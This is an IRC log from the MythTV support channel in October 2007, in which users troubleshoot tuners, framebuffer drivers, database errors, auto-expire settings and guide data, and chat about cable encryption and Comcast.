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Wednesday, October 31st, 2007, 00:00 UTC

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directhex:

fryfrog, unfortunately, no, it's not likely to do so

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directhex:

fryfrog, not for broadcast h264

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directhex:

fryfrog, not until myth merges ffmpeg ~r10000

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baxter_kylie:

Does anyone know if 'fetch channel listings from source' is now defunct ?

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baxter_kylie:

I've set up SD properly and it can find my listings under video sources but when I hit 'fetch channels from listings source' absolutely nothing happens.

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iamlindoro:

baxter_kylie, try doing a mythfilldatabase --refresh-all and I believe they should show up

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Tanthrix:

fryfrog: From what I understand multithreaded x264 decoders are right around the corner. That will make a big difference.

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directhex:

Tanthrix, in ffmpeg head, but mythtv's ffmpeg is ~r8500

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leprasmurf:

hello all

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leprasmurf:

I'm working on setting up my frontend, and am trying to configure the music plugin. I want all my music stored on the primary backend, I have nfs mount to my frontend.

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leprasmurf:

I'm in the config for the plugin, I've noticed the folder it's looking at is different from where the nfs mount is. will it cause a conflict of front-end/back-end db if I point it to the nfs mount (e.g. will it duplicate the info in the database or is it going to fill a seperate db?)

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jams:

leprasmurf- the directory structure should be the same across all frontends.

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leprasmurf:

jams: using knoppmyth and mythbuntu, knoppmyth is setting it up to /myth and mythbuntu is setting it to /var/lib/myth

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leprasmurf:

jams: I want to config mythbuntu to look at my nfs mount /myth

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jams:

shouldn't be a problem

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leprasmurf:

cool, just wanted a sanity check before I blew something up

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leprasmurf:

thanks

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jams:

it wouldn't double up the db entires if thats what your thinking

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leprasmurf:

that's one of the worries I had, yes

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jams:

in fact using /myth AND /var/lib/myth would get you into trouble

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Chet:

anybody up to helping with a PVR 350 problem?

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venger:

i'm not seeing a setting for what "Auto Expire Default" *is*, so what determines when a recording would expire?

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iamlindoro:

Age/remaining drive space

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venger:

so if I'm well within the bounds of HD space, or Extra Disk Space setting rather, then a recorded show would never expire?

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iamlindoro:

Can adjust some of those settings in Utilities/Setup->Setup->General? Or possibly TV Settings -> General

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iamlindoro:

Right, live TV will after 24 I believe, but recorded won't unless you run out of space and schedule another recordings

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venger:

ok just trying to get a feel for what to expect since it wasn't really clear how it would handle it

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venger:

I like that setup and if i want specific programs to stick i can just change them

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iamlindoro:

If you are worried about a recording then just set it not to auto-expire

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venger:

right

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iamlindoro:

exactly

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venger:

i appreciate the confirmation iamlindoro

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iamlindoro:

no problem

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Chet:

Does anyone use the TV Out on a PVR 350?

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directhex:

Chet, decreasing numbers of people. the disadvantages are many

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iamlindoro:

Yeah, on the way out for sure from what I understand

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Chet:

I feel I'm getting closer, but I am missing something.

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Chet:

When I look at the output from dmesg, I don't get a /dev/fb#

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Chet:

is that an ivtv issue?

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johndbritton:

how can i set a backend to be master or slave?

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kormoc:

johndbritton, set the master backend ip address to the same as the backend ip address?

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johndbritton:

beacuse the only backend i have is starting up as a slave, and i think thats why im not recording things

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Chet:

can anyone explain what /dev/fb1 means in the xorg.conf file?

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iamlindoro:

sounds like your database is screwed, assuming you've checked what kormoc said

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directhex:

Chet, the second framebuffer video output device

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venger:

iamlindoro, out of curiousity and saving from having to fill up 500gb to find out. When disk space is used up to the point that only the amount equivalent to Extra Disk space remains, how much does mythtv expire at once? everything XX days old or just enough to accomodate and upcoming recording?

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Chet:

directhex, what does it mean if no /dev/fb# shows up in dmesg?

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iamlindoro:

I haven't done so myself, but I presume the oldest recording, whatever its size

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iamlindoro:

and so on, keeping as much as possible

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directhex:

Chet, without a framebuffer device, you can't use fbdev in x

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Chet:

all the troubleshooting I find on the web expects it to be there... lspci shows my card

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johndbritton:

i just went to the other computer, and checked it out... mythtv was set to run on 127.0.0.1 and the backend was set to 10.10.10.1

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johndbritton:

i think that fixed ti

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johndbritton:

it

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iamlindoro:

That would do it

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directhex:

Chet, lspci is unrelated to driver status or loaded modules

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Chet:

directhex, Is it most likely a driver issue?

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directhex:

Chet, a lack of /dev/fb0 on a system you want to use a framebuffer on? it suggests you don't have a working module loaded to make said device exist

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Chet:

directhex, sorry, I have a strong windows background, but am relatively new to linux.

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Chet:

Is a module driver, software, or hardware?

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directhex:

a module is a driver

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directhex:

try "modprobe ivtv-fb"

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Chet:

hum, it spewed a bit and now is not responding

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venger:

Chet, use http://pastebin.ca/ to expose the spewage

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directhex:

spewage is bad. spewage means something broke

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directhex:

no news is good news on module loading

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Chet:

hum... that is no good

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Chet:

it looked like my xorg.conf file

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jedix:

why does my mythtv box say I haven't scheduled any programs sometimes?

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jedix:

and it doesn't record the ones I scheduled because of this?

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venger:

jedix, my guess its you could read the backend status and see if it bitched

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fryfrog:

directhex: how often does myth bump their version of ffmepg?

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GreyFoxx:

fryfrog: not very

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GreyFoxx:

but I think janneg was planning a new sync tonight

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fryfrog:

ah

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fryfrog:

might one assume the sync would be to "latest"?

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fryfrog:

also, i've been meaning to ask if there is some description of the new... decoder ... options

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GreyFoxx:

It would be to something very recent, I couldn't say specificaly how recent

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fryfrog:

i mean, it has gotten a lot more in depth :)

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fryfrog:

In the past, I'd been using libmpeg2 and opengl, which works decently for SD content and *used* to just barely work for x264/h264. I couldn't pause/ffwd/rwd, but i'd just keep playing fine.

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fryfrog:

now, nothing will play it :/

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fryfrog:

and myth thinks i'm missing XVideo, but X.org.log disagrees :/

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GreyFoxx:

the ffmpeg sync would have nothing to do with the xvideo stuff, but the sync would improve h264 playback

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fryfrog:

sure, didn't think it did. i was just playing around with all the decoder options

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fryfrog:

ffmpeg + xlib, xshm, etc

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fryfrog:

libmpeg2 + blah blah blah

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ByteChanger:

hi everyone

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GreyFoxx:

fryfrog: I've played a bit with those options, but not much

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ByteChanger:

can I use MythTV with just a Nexus FF card for output to my tv ??

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GreyFoxx:

no

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GreyFoxx:

myth wont use the decoder/tvout on aFF card

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GreyFoxx:

unless you have an X server that outputs to it

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ByteChanger:

hmmm, i'm not sure about that...

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dcstimm:

hey guys, I just installed mythtv with ubuntu, I am a long time gentoo user and I am just switching. But there is some weird data base issue. No error type from QSqlError? Strange... Unknown database 'mythconverg'

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dcstimm:

anyone willing to give some advise?

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ByteChanger:

er, i'm not sure how to do that i mean...

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fryfrog:

probably missing qt3 mysql

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fryfrog:

i had an "apt-get builddep mythtv" fail to get that

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dcstimm:

fryfrog, are you referring to me?

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fryfrog:

libqt3-mt-mysql specifically

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fryfrog:

dcstimm: yeah

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fryfrog:

GreyFoxx: what do you use?

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GreyFoxx:

fryfrog: For what ?

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dcstimm:

so should I run apt-get build-dep mysql?

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dcstimm:

err

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dcstimm:

mythtv

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fryfrog:

output

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fryfrog:

dcstimm: are you building myth or did you install from packages?

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dcstimm:

packages

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fryfrog:

"sudo aptitude install libqt3-mt-mysql" should do ya

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GreyFoxx:

fryfrog: svideo

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fryfrog:

7.10 or 7.04 ooc?

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fryfrog:

GreyFoxx: sorry, i mean which decoder/lib

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fryfrog:

ffmpeg + opengl?

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fryfrog:

decoder and renderer, i think it is called

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dcstimm:

fryfrog, same errors

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GreyFoxx:

ffmpeg for decoder, can;t remember offhand if I am using Xvideo or opengl for rendering

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fryfrog:

do you happen to recall if there is *literally* an "XVideo" option? or is it called "xlib"?

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GreyFoxx:

I don't remember

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dcstimm:

fryfrog, Unknown database 'mythconverg'

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dcstimm:

QSqlQuery::exec: database not open

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dcstimm:

Query was: SELECT NULL; No error type from QSqlError? Strange...

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dcstimm:

2007-10–30 18:40:03.141 Unable to connect to database!

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dcstimm:

i can connect fine using mysql -u mythtv -p and mysql -u root -p

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dcstimm:

any ideas?

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kdubya:

was there ever a solution for 720p60 video playing back at 30 fps, slowing the video down by 2x

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kdubya:

all the threads on the mailing list sort of died without a solution

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kdubya:

happens on ABC HD and FOX HD, not the other stations

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levander:

Is there no free service for getting guide data any more?

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kdubya:

there are scripts that take if off of websites

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levander:

kdubya: such as?

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kdubya:

but come on, isnt $20 a year worth not screwing with that

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kdubya:

i dont know what they are

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kdubya:

easier to give somone $20 than to find out a free way

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levander:

kdubya: I wouldn't be running Linux if I didn't like screwing with things like this.

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kdubya:

well good luck then

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tank-man:

levander, i'm using zap2xml and its been working so far

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levander:

tank-man: what's zap2xml?

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tank-man:

script that scrapes the web site

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Shpook:

Hello everyone.

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cesman:

hello

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Shpook:

I'm just thinking about venturing into the HTPC world, and MythTV is what I want to use. Know any good hardware recommendation or compatibility guides?

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BULLE:

Shpook: there is such info on the mythtv wiki page

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BULLE:

Shpook: it realy depends on your needs, and where you live

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Shpook:

You know, I checked Google and found a little, and then right after you said that I realized I ignored the disclaimer above.

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Shpook:

Yeah, I figured location would play a part.

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Shpook:

I guess my main concern is the tuners...the rest of the PC will be easy for me to choose, but I don't know too much about who makes the better tuner, except maybe Hauppage

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kdubya:

Hauppage is the only company that makes analog tuners as far as you are concerned

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kdubya:

the rest are crap

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kdubya:

digital tuners i say get the cheapest piece of crap you can find

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Tanthrix:

Cheapest, well supported, that is.

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Tanthrix:

Something like the Avermedia A180 or Kworld 115 are good choices for QAM/ATSC digital.

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kdubya:

supported, minor detail

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kdubya:

he didnt say it needed to work

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Tanthrix:

For analog, there is the Hauppuage PVR-150, or the PVR-500 which is two PVR-150s on one card. There is nother other choice.

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Shpook:

I had a feeling I would hear that.

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Shpook:

So, the tuner itself only needs to be analog, while the cable box handle's the digital signal and outputs analog?

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Tanthrix:

That is one way of being able to record digital cable.

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Tanthrix:

It's also the worst way, but sometimes the only reliable option.

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Tanthrix:

http://www.mythtv.org/wiki/index.php/Recording_Digital_Cable <--That page describes your options for digital in detail.

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Shpook:

It seems the simplest way.

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Shpook:

Cool, I'll add it to my long list of reading/research lol.

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Shpook:

I don't want to buy a single part until I know what I'm doing, what is needed, and what is compatible.

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kdubya:

wuss

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kdubya:

buy it and make it work

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Tanthrix:

A poor idea at best.

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kdubya:

heh

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Shpook:

lol last time I did that I married her.

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Shpook:

j/k :-)

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Tanthrix:

hehe

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Shpook:

So, is it common to run 4 tuners, 2 with PVR functions and 2 plain tuners?

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kdubya:

huh?

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kdubya:

myth is not capable of running somethin as a plain tuner

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kdubya:

it always records

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Tanthrix:

Shpook: Myth is an all PVR setup. Whenever you watch livetv, you are recording. Always.

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kdubya:

livetv is a stream from your hard drive

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Shpook:

Yeah...I realize that now...otherwise there would be no pause/rewind ability, among others.

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Tanthrix:

Shpook: LiveTV recordings are then automatically expired based on some configurable settings, such as time and the amount of free space.

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Tanthrix:

Shpook: Assuming you don't choose to keep them.

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kdubya:

in case you need an alibi

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kdubya:

look i was watchin livetv at 10pm

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Shpook:

Of course. I was considering running 3–4 tuners for the ability to record 2–3 channels and watching another.

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Tanthrix:

Shpook: I don't understand you crazy 3+ tuner people. I very rarely need two, let alone four!

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Shpook:

This whole venture was started by good old Comcast and their very limited DVR

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** siXy strokes multirec **

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Shpook:

well, My wife, daughter and I constantly battle over the TV, or have multiple things we want to record

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kdubya:

very limited dvr that can record all channels in hd

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Shpook:

kdubya: That's actually something else I plan on researching: the ability to record in HD

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Tanthrix:

Shpook: Comcast DVRs are definately junk. I don't know how people can deal with them.

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kdubya:

you can only record the local channels

[02:33:17]

kdubya:

its gay

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Tanthrix:

Shpook: In that case, read over that wiki article. Your options are limited.

[02:33:40]

Tanthrix:

kdubya: That is not true. With firewire output it is possible to record all HD channels, assuming they are not 5c-ed.

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Shpook:

I've replaced this DVR literally 5 times within the last 10 months. :-(

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siXy:

even with multirec however you really need 2 tuners

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kdubya:

which is like what, 5% of the US Tanthrix ?

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Shpook:

Well, from what I read, didn't the FCC strip the rights of 5c?

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Tanthrix:

kdubya: More than that. It's not too uncommon actually. More like 50/50 I'd say.

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kdubya:

i only get locals over QAM and firewire

[02:34:52]

kdubya:

no 5c is still there

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Shpook:

In my opinion, that's crap.

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kdubya:

yeah

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kdubya:

turning off 5c would not allow people to steal cable

[02:36:46]

kdubya:

so it is completely pointless

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Tanthrix:

It does however make it trivial to get perfect digital copies of TV shows for posting online, ripped and commercial free.

[02:37:05]

kdubya:

shows show up on the internet 20 minutes after they air as is

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Tanthrix:

It is not completely pointless, just mostly futile ;)

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kdubya:

heh

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Shpook:

Good point Tanthrix.

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kdubya:

i refuted your point before you typed it

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kdubya:

im like, psychic

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Tanthrix:

kdubya: Read: "perfect digital copies" – there is a big difference between a sometimes near DVD quality copy of a show, and an analog rip.

[02:38:19]

kdubya:

they are never anlog rips

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kdubya:

turn on 5c everywhere and people will used hacked satelite boxes

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Shpook:

Well, are there any capture cards that use high bandwidth inputs like DVI and HDMI for HD capture?

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Shpook:

Then again...even those have security protocols.

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kdubya:

you couldnt compress it if there were

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kdubya:

nah, cable boxes dont use HDCP

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Tanthrix:

kdubya: You're not quite right about that. There are quite a few shows out there that aren't available online in any form but analog rip. Take mythbusters for example.

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siXy:

Shpook: none that you would want to pay for. they are all pro class cards and very expensive

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Tanthrix:

But we shouldn't be talking about that here anyway.

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siXy:

either that or they don't suport HDCP and are worthless

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Shpook:

siXy: with a $1000 limit, I'll take your word for it lol

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kdubya:

i dont think any cable boxes use HDCP dude

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Tanthrix:

Shpook: And none of them do hardware encoding, so the resulting files are huge, uncompressed video that isn't usable for a DVR setup.

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kdubya:

only HD DVD and blu ray

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Shpook:

So I guess that rules out looping around through a capture card.

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siXy:

ah i dont know anything about cable boxes, i use good old DVB-T capture cards

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Tanthrix:

kdubya: The motoroally comcast cable boxes all do HDCP, though they don't require it.

[02:41:03]

kdubya:

right

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Tanthrix:

Motorolla*

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kdubya:

it is never turned on

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kdubya:

old HDTVs without hdcp are too common for the cable company to take that chance

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buzztu:

I don't have cable... would it make sense to user mythtv for playing videos looking at pictures and streaming net radio though my tv?

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Shpook:

I believe the new boxes coming out in 2008 will use HDCP

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kdubya:

yeah buzztu

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buzztu:

maybe for ripped dvds

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Tanthrix:

buzztu: Pretty big overkill for that, but you could do it. Might check out something smaller though. Maybe freevo?

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Shpook:

buzztu: it would provide a nice easy to use interface for sure

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Tanthrix:

Shpook: Anyway, you only get two options for being able to view your digital cable channels (be them HD or otherwise) in Myth, both of which rely on the cable company not using two separate kinds of encryption

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kdubya:

i am upgrading to SVN because fox and abc HD play half speed

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kdubya:

so pretty soon nothin is going to work for like a week

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Tanthrix:

Shpook: They've got us by the balls, so to speak.

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kdubya:

should be fun

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buzztu:

I was thinking of using a laptop with a Radeon mobility 7500 or tv out... and adding another computer for a backend later...

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fryfrog:

Tanthrix: at least cable has that, good sat you are basically screwed

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Tanthrix:

True.

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buzztu:

where i would store movies...

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kdubya:

on the DVDs that you bought them on

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baxter_kylie:

Hi. Where can I edit the font size for channel numbers and callsigns in the TV OSD ?

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kdubya:

have to edit the OSD theme xml file

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Shpook:

Tanthrix: So in your opinion, is it beneficial to spend $1000 on a HTPC for PVR use?

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Tanthrix:

baxter_kylie: Not sure if you can edit those specifically, but you can change the general font sizes under the Apperance settings.

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kdubya:

$1000 is overkill

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kdubya:

you can get 1080p playback for less

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Shpook:

well, nevermind the dollar amount lol

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Tanthrix:

baxter_kylie: There is also somewhere in the options to change the number of rows of shows on the guide that might do that.

[02:48:34]

Tanthrix:

Shpook: I'd say most definately. I use my mythbox every single day, and it's light years ahead of Comcast's DVR.

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Tanthrix:

Shpook: Takes A LOT of time to learn all the ins out, and much tinkering is involved, but I think it's worth it.

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kdubya:

Shpook, did you really expect someone to say no to that here

[02:49:06]

kdubya:

heh

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Shpook:

kdubya: I like to spend a few dollars more on brands that I trust, plus a pretty case lol.

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Tanthrix:

Shpook: In fact, between the choice of watching Comcast premium HD channels with their box, and being stuck with the OTA HD channels, I choose the latter.

[02:49:49]

Shpook:

and I'd rather have more than I need than less.

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Tanthrix:

Shpook: Though for about 6 months I was able to get all of my digital channels, HD included, over firewire.

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Shpook:

Tanthrix: I'm assuming the cable company caught on and patched the box?

[02:51:40]

Tanthrix:

Shpook: They can't really tell if you're doing that or not. Nor is there anything illegal about it. Honestly, I don't think they even care that much, which is why it's all so erratic.

[02:51:59]

Shpook:

Mind if I ask who your cable provider is?

[02:52:18]

Tanthrix:

It's actually back to being unencrypted now, though not everything. The randomness of it all makes me think that some tech somewhere doesn't even know what the settings do.

[02:52:20]

Tanthrix:

Comcast.

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Tanthrix:

in Portland, Oregon.

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kdubya:

i have time warner in austin and i get nothin

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Shpook:

kdubya: I've heard good things oh Time Warner

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Shpook:

and Cox

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kdubya:

what about them?

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kdubya:

that they arnt comcast?

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kdubya:

heh

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Shpook:

but Comcast holds such a monopoly here in Florida....there are only two options: Comcast or satellite

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Shpook:

lol good point

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kdubya:

i think comcast takes the most flak just because they are the biggest

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kdubya:

they are all the same

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Shpook:

No, Comcast's only real major downfall is their customer service

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Shpook:

They have the attitude of a company that holds a monopoly. It's their way or no way at all.

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kdubya:

every cable company has a monopoly in thier area

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kdubya:

they have agreements or some crap

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Shpook:

When I had Cox in Ohio, they were extremely accommodating.

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kdubya:

thats why it is awesome that the phone companies are getting in

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Shpook:

Yeah, but there's limitations...there has to be competition allowed.

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Shpook:

There's a class action suit being filed now down here against Comcast for monopoly.

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mikeones:

some one should file aginst TWC in the DFW area

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Shpook:

DFW?

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kdubya:

dallas-fort worth

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Shpook:

Oh...I knew that lol.

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kdubya:

you must not fly american airlines

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kdubya:

heh

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Shpook:

lol, I don't really fly at all

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kdubya:

the -vid branch was merged into trunk like last week right?

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kdubya:

so there would be no reason to use -vid

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Shpook:

Alright, well I got some work to do before bed. Thanks a lot for your help guys, I'm sure you'll see me in here much more over the next few months.

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Shpook:

Goodnight.

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cal:

trying to play a dvd straight from an .iso file.. mythtv displays the video fine, but the audio is just a buzzing noise.. any setting that might fix this?

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kdubya:

night

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defaultro:

a friend told me that the latest mythtv can now save to multiple directories without the support of LVM. Which version is this?

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GreyFoxx:

svn only'

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defaultro:

ah ok. Thanks

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defaultro:

That's really cool

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buzztu:

hmmm earthquake

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kdubya:

yeah here too

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fryfrog:

I'd spend $1000 on lots of hard drives :)

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kdubya:

theyre a bitch in texas

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jedix:

nuvencode should give useful error messages so that you don';t have to read source to find otu what the fuck is going on

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devsforev:

Good evening everyone. I seem to have a strange problem with lirc. After having it run for a while, (sometimes a few hours, other times a couple days) the LIRC process spikes to consume 100% CPU and becomes unresponsive. Any thoughts on what I could try or where I can go for further help?

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cesman:

What remote do you have?

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cesman:

what version of LIRC?

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devsforev:

LIRC version 0.8.2. --- Running Debian Kernel Version 2.6.18-4-k7 #1 SMP --- Using a TIVO remote control --- USB-UIRT Device to receive IR signals as well as to control a Time Warner Cable Box

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devsforev:

I have tried to renice the process to 19 after the process goes haywire. It still remains at near 100% and unresponsive

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cesman:

devsforev: sorry, different issue

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kdubya:

woo

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cesman:

a user/tester of mine (KnoppMyth) reported an issue w/ LIRC

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cesman:

but that had to do with filling the log

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kdubya:

upgrading to svn fixed abc and fox playing at half speed

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devsforev:

Do you have any sugguestions on where I might be able to start?

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cesman:

the LIRC mailing list

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cesman:

check the archive to see if anyone else has/had the same issue

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devsforev:

may I have a link please?

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cesman:

https://lists.sourceforge.net/lists/listinfo/lirc-list

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devsforev:

thank you greatly

[03:51:08]

cesman:

you're welcome

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devsforev:

Do you think I should try upgrading to the latest svn as well?

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cesman:

if MythTV is functioning w/o issue, then no

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kdubya:

i just did, took like an hour

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kdubya:

i was ready to be up all night'

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devsforev:

Okay, good to know. Thanks again for your help

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cesman:

thanks to Rabban, I can compile MythTV in less than 6.5 minutes!

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kdubya:

is there a list of video filters that are in svn somewhere

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Tanthrix:

Craigslist personals have some really, really bizarre people on them. Interesting read, though.

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amrit|afk:

hey folks. is there any way to force mythtv to install into a specific dir? along the lines of "make install DESTDIR=/tmp/package" for most other progs

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amrit|afk:

(myth doesn't honor DESTDIR)

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kdubya:

PREFIX?

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amrit|afk:

configure --prefix ends up changing the path that it's compiled for. ideally the paths should be $DESTDIR/$PREFIX

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HeppyCat:

window close 7

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HeppyCat:

good evening channel

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amrit|afk:

(just looking to build a package here)

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HeppyCat:

i was curious if anyone has ever run myth frontend on a thin client

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amrit|afk:

guess i've just gotta go with checkinstall. :/

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HeppyCat:

ive got this little hp/compaq box. 128mb ram, 400mhz via proc

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HeppyCat:

of course it doesnt have svid/composite out

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HeppyCat:

but that could be worried about later

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kdubya:

might barely works

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kdubya:

work

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HeppyCat:

has a oh and 32mb flash

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amrit|afk:

oh, excellent, checkinstall can't evne figure it out.

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HeppyCat:

well durn, i opened up this thing and there are no repalceable components

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HeppyCat:

im tryin to convince my fatherinlaw to go with myth

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HeppyCat:

he doesnt have any sort of pvr now

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kdubya:

old people and myth probably aint a great idea

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HeppyCat:

he's pertty technical

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kdubya:

you have never used myth?

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HeppyCat:

just doesnt have any linux experience

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HeppyCat:

oh yeah

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HeppyCat:

my real goal in getting him using it is selling my tuners ot him ;)

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HeppyCat:

i needs da cash

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HeppyCat:

he works for hp

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HeppyCat:

daily commute is from the bed to the coffee pot

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HeppyCat:

works night shift. supports massive hpux machines

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HeppyCat:

he can freaking analyze a core dump and tell you which chip on which side, of which stick of ram went out

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cesman:

HeppyCat: the proc you have isn't going to lend itself for a good frontend experience

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HeppyCat:

thanks cesman

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HeppyCat:

i just realiuzed i had this thing in my closet

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cesman:

you're welcome

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HeppyCat:

and was being hopeful :)

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HeppyCat:

short of actually running x on the device itself, does frontend play well across a remote x session?

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cesman:

never tried it

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kdubya:

heh

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kdubya:

im going to try it real quick out of curiosity

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HeppyCat:

hehe

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HeppyCat:

i dont even have a backend box up right now

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HeppyCat:

after my last roommate moved out, i cancelled cable

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kdubya:

boo

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kdubya:

its not working

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HeppyCat:

my firend that introudeced me to my always suggesting not using the backend box as a frontend at the same time

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cesman:

why?

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HeppyCat:

i was thinking cuz the specs of that machine werent great?

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cesman:

that would be the only reason

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kdubya:

bah

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cesman:

but if you got the right hardware, a low-end system could function as both

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cesman:

less HD of course ;)

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HeppyCat:

brb

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kdubya:

hey i just upgraded to svn and now my video filters dont take effect

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kdubya:

is that a common problem or what

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kdubya:

i set invert to test it and 'invert' is all over the log file with nothing indicating it didnt load right

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HeppyCat:

there are three people in their household

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HeppyCat:

dad, mom, and sister

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HeppyCat:

sis has an intel mac-mini

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HeppyCat:

so that shouldnt be a problem

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HeppyCat:

i *think* mom has a linux pc

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HeppyCat:

and then there would need to be a frontend box on the tv living room

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HeppyCat:

and dads room has a tv

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HeppyCat:

know he doesnt have a linux box, but could be very easily convinced to set one up

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squidink:

I've only just set up my transcoding settings; will myth automagically transcode all the recordings I have so far, or do i have to do it manually?

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HeppyCat:

i never setup transcoding

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siXy:

squidink: old recordings will not be transcoded automatically

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squidink:

any way to transcode them en-masse?

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siXy:

squidink: depends what you are transcoding them to

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xris:

nuvexport is good for mass-transcodes.. if you have patience

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siXy:

you could probably do somehitng with xvid and a very basic bash script too

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squidink:

Will they stay in the databse? They're mpeg2 file I want to convert to xvid/mpeg4

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johndbritton:

anyone know how i can clear out the job queue

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johndbritton:

commflagging isnt happening, and i suspect its because there are some jobs queued up for recordings that don't exist

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bsdfox:

squidink: I ended up writing my own scripts to transcode and update the database

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johndbritton:

can i manually start a commflag?

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johndbritton:

i figured out how to clear the queue

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bsdfox:

yeah it's easy

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johndbritton:

how?

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johndbritton:

i cleared out my jobqueue, because one of them was holding up all the other jobs, now id like to commflag the stuff that got missed

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bsdfox:

under watch recordings

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bsdfox:

just run a job that does it

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bsdfox:

it's the top option

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johndbritton:

ok, ill check it out... sometimes the mythtv interface is a bit hard to get around... just so many options, but thats a good thing

[07:34:49]

johndbritton:

found the option

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johndbritton:

thanks

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johndbritton:

is there a commflag error log somewhere?

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johndbritton:

ive got the jobs in the queue, but for some reason none of them ever complete... its been days

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ShockValue:

hi all.. im using a newer kernel (2.6.22) and im trying to get my pchdtv3000 running.. but all the documentation is suggesting i make modules for options in make menuconfig that dont exist

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ShockValue:

anyone familiar with what options i need for the newer kernels?

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ShockValue:

ive manage to get it to make a "dvb-core" but it doesnt create a cx88(something) module

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directhex:

ShockValue, enable experimental modules

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phaero1:

hello all. Is there a way to stop livetv files from expiring so fast ?

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Daviey:

phaero1: yes.. record them instead

[09:52:09]

phaero1:

Daviey: sometimes I don't know I want to record something

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justinh:

press R then

[09:52:31]

justinh:

:P

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Daviey:

phaero1: there is an expire time setting IIRC – but i can't tell you were it is atm

[09:52:46]

phaero1:

Daviey: I am watching TV and I like something and I go to get it and it expires

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justinh:

it's a minimum of 24 hours

[09:53:07]

Daviey:

unless capacity dictates otherwise

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justinh:

or when you reach a threshold of HDD space, whichever happens first

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Daviey:

justinh: hah, beat you :P

[09:53:29]

justinh:

phaero1: if you're watching something & turns out you want to keep it, press R

[09:53:30]

phaero1:

what I am seeing is that stuff is expired really fast like within one hour

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justinh:

damnit

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jtmoney:

any word/rumors on the progress of a driver for the WinTV-HVR-1600?

[09:53:42]

justinh:

jtmoney: nope

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phaero1:

justinh: what version is that ?

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jtmoney:

damn

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justinh:

phaero1: 0.20 minimum

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jtmoney:

i'm using mediaportal under xp, but i would love to switch back to mythtv

[09:54:08]

phaero1:

justinh: I am using the one in ubuntu fiesty

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justinh:

phaero1: that'd be 0.20 then

[09:54:28]

justinh:

IIRC

[09:54:31]

Daviey:

justinh: You confused me.. penny has just dropped who you are.. ;)

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phaero1:

justinh: can't I just disable livetv expiration totally and I will handle removing them

[09:56:14]

phaero1:

something is messed up here and when I press R it sometimes crashes

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justinh:

you can't disable livetv expiration but you could set the time a lot bigger

[09:59:40]

justinh:

bigger/longer

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phaero1:

justinh: yes please !

[09:59:53]

justinh:

here's how the manual says it works....

[10:00:09]

justinh:

if the livetv recording is less than a couple of minutes, it gets expired almost immediately

[10:00:30]

phaero1:

justinh: that's not a problem, I want the longer chunks

[10:00:32]

justinh:

if it's greater than that, it'll be expired either within 24 hours or when your hdd space reaches a threshold

[10:00:56]

justinh:

thinking about it, fiesty might still be on 0.19. you can check by doing mythfrontend --version

[10:01:30]

phaero1:

justinh: Library API version : 0.20.20070821–1

[10:01:51]

phaero1:

justinh: /dev/hda2 35G 2.8G 31G 9% /var

[10:02:04]

phaero1:

justinh: so much space why does it expire ?

[10:02:45]

phaero1:

select * from settings where value like '%expire%';

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phaero1:

+------------------------+------+----------+

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phaero1:

| value | data | hostname |

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phaero1:

+------------------------+------+----------+

[10:02:46]

phaero1:

| AutoExpireMethod | 2 | NULL |

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phaero1:

| AutoExpireDayPriority | 3 | NULL |

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phaero1:

| AutoExpireDefault | 0 | NULL |

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phaero1:

| AutoExpireLiveTVMaxAge | 0 | NULL |

[10:02:52]

phaero1:

| AutoExpireExtraSpace | 0 | NULL |

[10:02:53]

Daviey:

pastebin!

[10:02:54]

phaero1:

+------------------------+------+----------+

[10:02:58]

phaero1:

oops sorry

[10:03:15]

phaero1:

Daviey: pastebin next time, I promise :)

[10:03:18]

justinh:

I have no sympathy for people who expect more from livetv :P

[10:03:29]

** Daviey *never* uses livetv **

[10:03:44]

Daviey:

MrsDaviey does.. but i tell her not to

[10:03:56]

phaero1:

justinh: well if you live in a place where there's virtually no EPG you will.

[10:04:12]

justinh:

serves you right for living in the wrong country! :D

[10:04:23]

phaero1:

justinh: terrestial broadcast and DVB-S have zero EPG here !

[10:04:26]

phaero1:

lol

[10:04:31]

Daviey:

phaero1: what country?

[10:04:36]

phaero1:

justinh: are those settings wrong ?

[10:04:49]

phaero1:

Daviey: Egypt, Nilesat 101

[10:05:05]

phaero1:

you could have guessed from the nick :P

[10:05:51]

Daviey:

well, i could also have guessed from the IP – but i'm lazy

[10:06:52]

phaero1:

Daviey: AutoExpireDiskThreshold <<-- this setting is in the database schema but not in my table ?

[10:07:11]

Daviey:

no idea. sorry

[10:07:44]

phaero1:

looks like the database schema is out of date or something

[10:07:49]

Daviey:

hang on.. why are you using a PVR – with no tv guide?

[10:07:56]

Daviey:

surely that is the crucial part/

[10:08:17]

justinh:

mythtv without an EPG is _impotent_. _IMPOTENT_ I tells ya

[10:08:30]

justinh:

you might aswell use tvtime

[10:08:38]

phaero1:

Daviey: tvtime sucks

[10:08:40]

Daviey:

or hang yourself

[10:08:44]

justinh:

or one of those standalone PVR units

[10:08:44]

phaero1:

lol

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phaero1:

I might hang myself

[10:09:09]

justinh:

anyway your setup shouldn't be expiring livetv recordings so fast

[10:09:17]

directhex|work:

unless he has no disk space

[10:09:29]

justinh:

maybe it's not storing recordings where you think it is – and you have a lot less free space than you think!

[10:09:56]

Daviey:

ahhh

[10:10:07]

phaero1:

justinh: I have 31Gb of space

[10:10:19]

phaero1:

and I know where the recordings are stored

[10:10:22]

Daviey:

phaero1: where are the recordings being stored?

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Daviey:

on the / partition?

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directhex|work:

phaero1, check the configured minimum amount of space to keep free

[10:10:45]

phaero1:

directhex|work: from where ?

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phaero1:

Daviey: on the /var

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Daviey:

hmmpf.

[10:11:12]

phaero1:

Daviey: /var/lib/mythtv/recordings/ .. 31GB.

[10:12:39]

phaero1:

directhex|work: http://www.mythtv.org/wiki/index.php/LiveTV <<--- says that but doesn't say from where

[10:13:24]

phaero1:

I am also working on making the OSD display arabic

[10:13:38]

justinh:

the default disk space amount to leave is 1gb

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justinh:

oops 1GB

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phaero1:

justinh: AutoExpireExtraSpace <-- this settings ?

[10:14:50]

justinh:

yes

[10:15:02]

justinh:

and it's much preferred to use the GUI, NOT directly hack the DB

[10:15:24]

phaero1:

justinh: ok I like the db because the GUI has too many screens

[10:15:28]

justinh:

some settings require a restart of the backend to take effect

[10:15:29]

justinh:

ffs

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phaero1:

my my, what did I do wrong

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phaero1:

somebody tell him sorry if i said something to upset him

[10:19:43]

flithm:

hey everyone... I'd like to downgrade from 0.21pre (14450) to 0.20.2. Is there any way I can salvage even some of the settings, like my watched shows list, or anything?

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ServerSage:

phaero1: I wouldn't worry too much. :)

[10:23:46]

ServerSage:

phaero1: He seems to do that every night.

[10:24:55]

Daviey:

flithm: Would your recorded show names be enough?

[10:25:04]

flithm:

Daviey: yeah that'd be enough for me

[10:25:08]

Daviey:

flithm: re-import recordings

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directhex|work:

